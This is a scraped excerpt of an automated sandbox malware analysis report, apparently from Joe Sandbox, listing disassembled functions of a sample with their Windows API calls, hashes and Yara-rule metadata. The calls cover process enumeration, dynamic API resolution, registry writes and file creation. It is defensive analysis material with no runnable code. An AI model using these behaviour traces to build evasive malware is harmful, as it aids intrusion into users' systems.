                                    • Instruction ID: 35b891d7ed1e68f01fecfb56b2e133acfefcc38215fdd41fa728a42ded30a0d0
                                    • Opcode Fuzzy Hash: 2d482228ad5078a5d01f00d5e8ca9c1c5ab5f7bce2d7e92f2bfcc2ef3d9a001e
                                    • Instruction Fuzzy Hash: D101F7B1208744AFE716DF61DD528ABBBADEF89B10F71447EF501D2640E6309910D860
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CCA2F0 Relevance: 1.5, APIs: 1, Instructions: 17processCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 02CCA074: GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02CCA2FB,?,?,02CCA38D,00000000,02CCA469), ref: 02CCA088
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02CCA0A0
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02CCA0B2
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02CCA0C4
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02CCA0D6
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02CCA0E8
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02CCA0FA
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Process32First), ref: 02CCA10C
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02CCA11E
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02CCA130
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02CCA142
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02CCA154
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02CCA166
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Module32First), ref: 02CCA178
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02CCA18A
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02CCA19C
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02CCA1AE
                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02CCA301
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AddressProc$CreateHandleModuleSnapshotToolhelp32
                                    • String ID:
                                    • API String ID: 2242398760-0
                                    • Opcode ID: 381d85871d1b7b387c411d9da2cc31d5805495df5bea2372fae9a14f3b7c9992
                                    • Instruction ID: dd1a3563e3aec09867dde8db075245072efec04f6464554c4d1d1b1016c5887d
                                    • Opcode Fuzzy Hash: 381d85871d1b7b387c411d9da2cc31d5805495df5bea2372fae9a14f3b7c9992
                                    • Instruction Fuzzy Hash: C2C08053A01528579E1069F53DCC4C3474CCD4D0F731405A3F50DD3102D325CC1051D0
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CCA538 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 102libraryloaderCOMMON
                                    Download Yara Rule
                                    APIs
                                    • IsBadReadPtr.KERNEL32(?,00000004,?,00000014), ref: 02CCA558
                                    • GetModuleHandleW.KERNEL32(C:\Windows\System32\KernelBase.dll,LoadLibraryExA,?,00000004,?,00000014), ref: 02CCA56F
                                    • GetProcAddress.KERNEL32(00000000,C:\Windows\System32\KernelBase.dll), ref: 02CCA575
                                    • LoadLibraryExA.KERNELBASE(?,00000000,00000000), ref: 02CCA587
                                    • IsBadReadPtr.KERNEL32(?,00000004), ref: 02CCA603
                                    • IsBadReadPtr.KERNEL32(?,00000002,?,00000004), ref: 02CCA60F
                                    • IsBadReadPtr.KERNEL32(?,00000014), ref: 02CCA623
                                    Strings
                                    • LoadLibraryExA, xrefs: 02CCA565
                                    • C:\Windows\System32\KernelBase.dll, xrefs: 02CCA56A
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Read$AddressHandleLibraryLoadModuleProc
                                    • String ID: C:\Windows\System32\KernelBase.dll$LoadLibraryExA
                                    • API String ID: 2083169754-1650066521
                                    • Opcode ID: 438b62724ac7457fd146a5f849c4945d1db62307591cee9a417ab5bcd129417b
                                    • Instruction ID: 4e21f538bdd72e91f4e4a116ce482c2491f0d12fc9493567671c98b86e849004
                                    • Opcode Fuzzy Hash: 438b62724ac7457fd146a5f849c4945d1db62307591cee9a417ab5bcd129417b
                                    • Instruction Fuzzy Hash: B53163B1A41608BBDB20EF65CC89F9A77ACAF45724F204118FA15EB280D330EA40DF64
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB1724 Relevance: 9.0, APIs: 7, Instructions: 289sleepCOMMON
                                    Download Yara Rule
                                    APIs
                                    • Sleep.KERNEL32(00000000,?,02CB1FC1), ref: 02CB17D0
                                    • Sleep.KERNEL32(0000000A,00000000,?,02CB1FC1), ref: 02CB17E6
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Sleep
                                    • String ID:
                                    • API String ID: 3472027048-0
                                    • Opcode ID: c9b750b68d3b45142c804b5241dd52049900a9e8fb220d3584d506999284b8e9
                                    • Instruction ID: d93a3f26e3689ed27c6286e3e4c57adbb65b2c72c30302e05db3bf1e52a8aa87
                                    • Opcode Fuzzy Hash: c9b750b68d3b45142c804b5241dd52049900a9e8fb220d3584d506999284b8e9
                                    • Instruction Fuzzy Hash: F7B10472A006518BCF16CF69D4A43A5BBE1FF85314F1C86AED44D8F385C7B09951CBA0
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB1A8C Relevance: 7.7, APIs: 6, Instructions: 175sleepCOMMON
                                    Download Yara Rule
                                    APIs
                                    • Sleep.KERNEL32(00000000,?,?,00000000,02CB1FE4), ref: 02CB1B17
                                    • Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02CB1FE4), ref: 02CB1B31
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Sleep
                                    • String ID:
                                    • API String ID: 3472027048-0
                                    • Opcode ID: c9c5d6a17e3210dfb6135a66be0542c469af596fbc7813cf32c162f0a0d66b75
                                    • Instruction ID: 507190ed6829419129b39878795462251387c27e7d4b25e87a179449bb27d6db
                                    • Opcode Fuzzy Hash: c9c5d6a17e3210dfb6135a66be0542c469af596fbc7813cf32c162f0a0d66b75
                                    • Instruction Fuzzy Hash: 9051C4B1A412408FDB17CF68C9A47A6BBD4AF85314F1C86AED44CCB282D7F0D945CBA1
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CC5C24 Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02CC5D6C,?,?,02CC38E4,00000001), ref: 02CC5C80
                                    • GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02CC5D6C,?,?,02CC38E4,00000001), ref: 02CC5CAE
                                      • Part of subcall function 02CB7D40: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02CC38E4,02CC5CEE,00000000,02CC5D6C,?,?,02CC38E4), ref: 02CB7D8E
                                      • Part of subcall function 02CB7F7C: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02CC38E4,02CC5D09,00000000,02CC5D6C,?,?,02CC38E4,00000001), ref: 02CB7F9B
                                    • GetLastError.KERNEL32(00000000,02CC5D6C,?,?,02CC38E4,00000001), ref: 02CC5D13
                                      • Part of subcall function 02CBA75C: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,02CBC3BD,00000000,02CBC417), ref: 02CBA77B
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: CreateErrorFileLast$FormatFullMessageNamePath
                                    • String ID:
                                    • API String ID: 503785936-0
                                    • Opcode ID: 1384075f3aae487fd0c2f0eb3659e37af63506b248cc3fb9b4ab85cf03e43fba
                                    • Instruction ID: 2aeaa315512a582d42355d126ca78951ce2854838c4ecc8925d8bb6e3514f173
                                    • Opcode Fuzzy Hash: 1384075f3aae487fd0c2f0eb3659e37af63506b248cc3fb9b4ab85cf03e43fba
                                    • Instruction Fuzzy Hash: 21315070A047449FDB01EFA8C9807EEB7B6AF48704F608569D804BB281D7756905DFA5
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CCD5A4 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • RegOpenKeyA.ADVAPI32(?,00000000,02DE28E8), ref: 02CCD5E8
                                    • RegSetValueExA.ADVAPI32(000005E4,00000000,00000000,00000001,00000000,0000001C,00000000,02CCD653), ref: 02CCD620
                                    • RegCloseKey.ADVAPI32(000005E4,000005E4,00000000,00000000,00000001,00000000,0000001C,00000000,02CCD653), ref: 02CCD62B
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: CloseOpenValue
                                    • String ID:
                                    • API String ID: 779948276-0
                                    • Opcode ID: b70b559dcb501e4e9bae6bfac783696f8f531b13fb29d65b53f5d31d91cab8f2
                                    • Instruction ID: 2c79ac279a290707366c6235f86d38c633b6a35f6aaad5c14a349a764e33e273
                                    • Opcode Fuzzy Hash: b70b559dcb501e4e9bae6bfac783696f8f531b13fb29d65b53f5d31d91cab8f2
                                    • Instruction Fuzzy Hash: CF112870A04208ABEB15EFA8DC91A9E7BEDEF08310F504465F919EB251E630AE54EF50
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBE348 Relevance: 4.5, APIs: 3, Instructions: 45COMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: ClearVariant
                                    • String ID:
                                    • API String ID: 1473721057-0
                                    • Opcode ID: 4be3973328a694ae197a7a6cf9c50df275434bc29ae6087ba63fa4b469429011
                                    • Instruction ID: 0848424f78034539ddc91dcd9bf3a80416acfe97aea2cd8dea7e127c0432e6e0
                                    • Opcode Fuzzy Hash: 4be3973328a694ae197a7a6cf9c50df275434bc29ae6087ba63fa4b469429011
                                    • Instruction Fuzzy Hash: D8F0FC257041108AC7137B75DD846EA375A9F40F51FD06426E44F9B291CB25CD05EB62
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB4D14 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • SysFreeString.OLEAUT32(02CCD6B8), ref: 02CB4C32
                                    • SysAllocStringLen.OLEAUT32(?,?), ref: 02CB4D1F
                                    • SysFreeString.OLEAUT32(00000000), ref: 02CB4D31
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: String$Free$Alloc
                                    • String ID:
                                    • API String ID: 986138563-0
                                    • Opcode ID: 8281cf0a56594ab61e6c1733d5cfb051ded8f56d9c12036c2c62a925731043c4
                                    • Instruction ID: 38ad33d1dc46de6b485edceba8aebc08af6c027088b1fdd19ff1d9f7ae2ad936
                                    • Opcode Fuzzy Hash: 8281cf0a56594ab61e6c1733d5cfb051ded8f56d9c12036c2c62a925731043c4
                                    • Instruction Fuzzy Hash: 6CE012B85096015EEF2F2F218C60BBB336AAFC1B45F584499E804CA151DB74C841BE39
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CC70D4 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON
                                    Download Yara Rule
                                    APIs
                                    • SysFreeString.OLEAUT32(?), ref: 02CC73D2
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: FreeString
                                    • String ID: H
                                    • API String ID: 3341692771-2852464175
                                    • Opcode ID: 43bc7bd8705ae944442611754c36b9d75522d2ab6a9f3642d186e75c0a909680
                                    • Instruction ID: dac70e90e8bac76877b32aefb9990eab747afa414ee03e27d758117ecf35b5d3
                                    • Opcode Fuzzy Hash: 43bc7bd8705ae944442611754c36b9d75522d2ab6a9f3642d186e75c0a909680
                                    • Instruction Fuzzy Hash: C9B1C274A01608DFDB15CFA9D880A9DFBF6FF89314F248569E809AB364D730A949CF50
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBE744 Relevance: 3.1, APIs: 2, Instructions: 63COMMON
                                    Download Yara Rule
                                    APIs
                                    • VariantCopy.OLEAUT32(00000000,00000000), ref: 02CBE765
                                      • Part of subcall function 02CBE348: VariantClear.OLEAUT32(?), ref: 02CBE357
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Variant$ClearCopy
                                    • String ID:
                                    • API String ID: 274517740-0
                                    • Opcode ID: 71840b77d660bbb1a2ae136b1b83c8e5ce35408cc1081c97a587b7e9199012a7
                                    • Instruction ID: 944d5e8f8477e2ceb2b1add73c04dab6414012dc36a021d82be45489793e76e8
                                    • Opcode Fuzzy Hash: 71840b77d660bbb1a2ae136b1b83c8e5ce35408cc1081c97a587b7e9199012a7
                                    • Instruction Fuzzy Hash: 4D11A964700210CBCB23AF3AC9D46E727DADF84F51F949426F64AAB615DB30CC41D7A2
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBE3E0 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: InitVariant
                                    • String ID:
                                    • API String ID: 1927566239-0
                                    • Opcode ID: 9b126bc5ca6281d1b8e1136db039df02f07c6f90d7f77a7669a7ae90d5446c39
                                    • Instruction ID: 09b1f1d9086abdfdb33b1fc4a432fcd095f6bb00593f270de2d15b04cf2ac1fe
                                    • Opcode Fuzzy Hash: 9b126bc5ca6281d1b8e1136db039df02f07c6f90d7f77a7669a7ae90d5446c39
                                    • Instruction Fuzzy Hash: F0315E75A00218EFDB22DFE8C984AEA77ACEF4CB14F8445A5E905D3240D374DA50CF61
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CC6D64 Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                    Download Yara Rule
                                    APIs
                                    • CLSIDFromProgID.OLE32(00000000,?,00000000,02CC6DB1,?,?,?,00000000), ref: 02CC6D91
                                      • Part of subcall function 02CB4C24: SysFreeString.OLEAUT32(02CCD6B8), ref: 02CB4C32
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: FreeFromProgString
                                    • String ID:
                                    • API String ID: 4225568880-0
                                    • Opcode ID: f856d36be99c00b0c9369aa8d5d5cfb87cda8cde948a896f6fca5e396bacf13b
                                    • Instruction ID: cf0fa8fa1aa9db987fdd93b4e0530c53ef83bcef68cdc794d8ae8051adfe9a5f
                                    • Opcode Fuzzy Hash: f856d36be99c00b0c9369aa8d5d5cfb87cda8cde948a896f6fca5e396bacf13b
                                    • Instruction Fuzzy Hash: ADE0ED30208208BFE716EBB2CD618CA77EDDFC9B10FB108B1E80092610DA70AE00A820
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB582C Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                    Download Yara Rule
                                    APIs
                                    • GetModuleFileNameA.KERNEL32(02CB0000,?,00000105), ref: 02CB584A
                                      • Part of subcall function 02CB5A90: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02CB0000,02CD9790), ref: 02CB5AAC
                                      • Part of subcall function 02CB5A90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02CB0000,02CD9790), ref: 02CB5ACA
                                      • Part of subcall function 02CB5A90: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02CB0000,02CD9790), ref: 02CB5AE8
                                      • Part of subcall function 02CB5A90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02CB5B06
                                      • Part of subcall function 02CB5A90: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02CB5B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02CB5B4F
                                      • Part of subcall function 02CB5A90: RegQueryValueExA.ADVAPI32(?,02CB5CFC,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02CB5B95,?,80000001), ref: 02CB5B6D
                                      • Part of subcall function 02CB5A90: RegCloseKey.ADVAPI32(?,02CB5B9C,00000000,?,?,00000000,02CB5B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02CB5B8F
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Open$FileModuleNameQueryValue$Close
                                    • String ID:
                                    • API String ID: 2796650324-0
                                    • Opcode ID: 36ac8199cd3100c6d0ea6747034283b2de4f4045689bdbb239c39140d976698a
                                    • Instruction ID: 1f022cf7c5d737a056bae8509ed67b94ee35a77a43dc5fee5540ac199c61adea
                                    • Opcode Fuzzy Hash: 36ac8199cd3100c6d0ea6747034283b2de4f4045689bdbb239c39140d976698a
                                    • Instruction Fuzzy Hash: 82E06D71A402248BCF11DE5C88C0A9633D8AF08794F440961EC58DF28AD3B1DA108BD0
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB7DC4 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02CB7DD8
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: FileWrite
                                    • String ID:
                                    • API String ID: 3934441357-0
                                    • Opcode ID: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
                                    • Instruction ID: f86038fa9546d1ad73c4bec2c06c87e09b9932ed6db5a6f0c62767d487fdfe2d
                                    • Opcode Fuzzy Hash: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
                                    • Instruction Fuzzy Hash: E0D05B723081107AD221955A9C44EFB5BDCCFC5771F10063EF558D3180D7208C05C771
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CCA310 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 02CCA074: GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02CCA2FB,?,?,02CCA38D,00000000,02CCA469), ref: 02CCA088
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02CCA0A0
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02CCA0B2
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02CCA0C4
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02CCA0D6
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02CCA0E8
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02CCA0FA
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Process32First), ref: 02CCA10C
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02CCA11E
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02CCA130
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02CCA142
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02CCA154
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02CCA166
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Module32First), ref: 02CCA178
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02CCA18A
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02CCA19C
                                      • Part of subcall function 02CCA074: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02CCA1AE
                                    • Process32First.KERNEL32(?,00000128), ref: 02CCA321
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AddressProc$FirstHandleModuleProcess32
                                    • String ID:
                                    • API String ID: 2774106396-0
                                    • Opcode ID: 6614ef2d8749fd2e415601de18014dabc3d804d6806855c1d0c90cabf45309ce
